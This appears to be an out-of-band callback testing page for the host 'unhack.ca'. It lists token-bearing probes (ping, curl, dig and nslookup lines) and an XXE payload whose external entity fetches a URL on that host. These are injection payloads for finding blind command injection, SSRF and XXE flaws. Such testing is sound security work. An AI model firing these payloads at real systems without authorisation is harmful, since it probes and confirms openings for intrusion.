$ ping -c1 -p 0003e8d97607b6800dff0a32ac93a400 unhack.ca
 
$ curl http://unhack.ca/p/03e8d97607b6800dff0a32ac93a4
 
$ dig 03e8d97607b6800dff0a32ac93a4 @unhack.ca
 
$ dig 03e8d97607b6800dff0a32ac93a4.ns.unhack.ca
 
C:\> nslookup 03e8d97607b6800dff0a32ac93a4 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/03e8d97607b6800dff0a32ac93a4">]>
    <foo>&xxe;</foo>
 
Waiting for ping...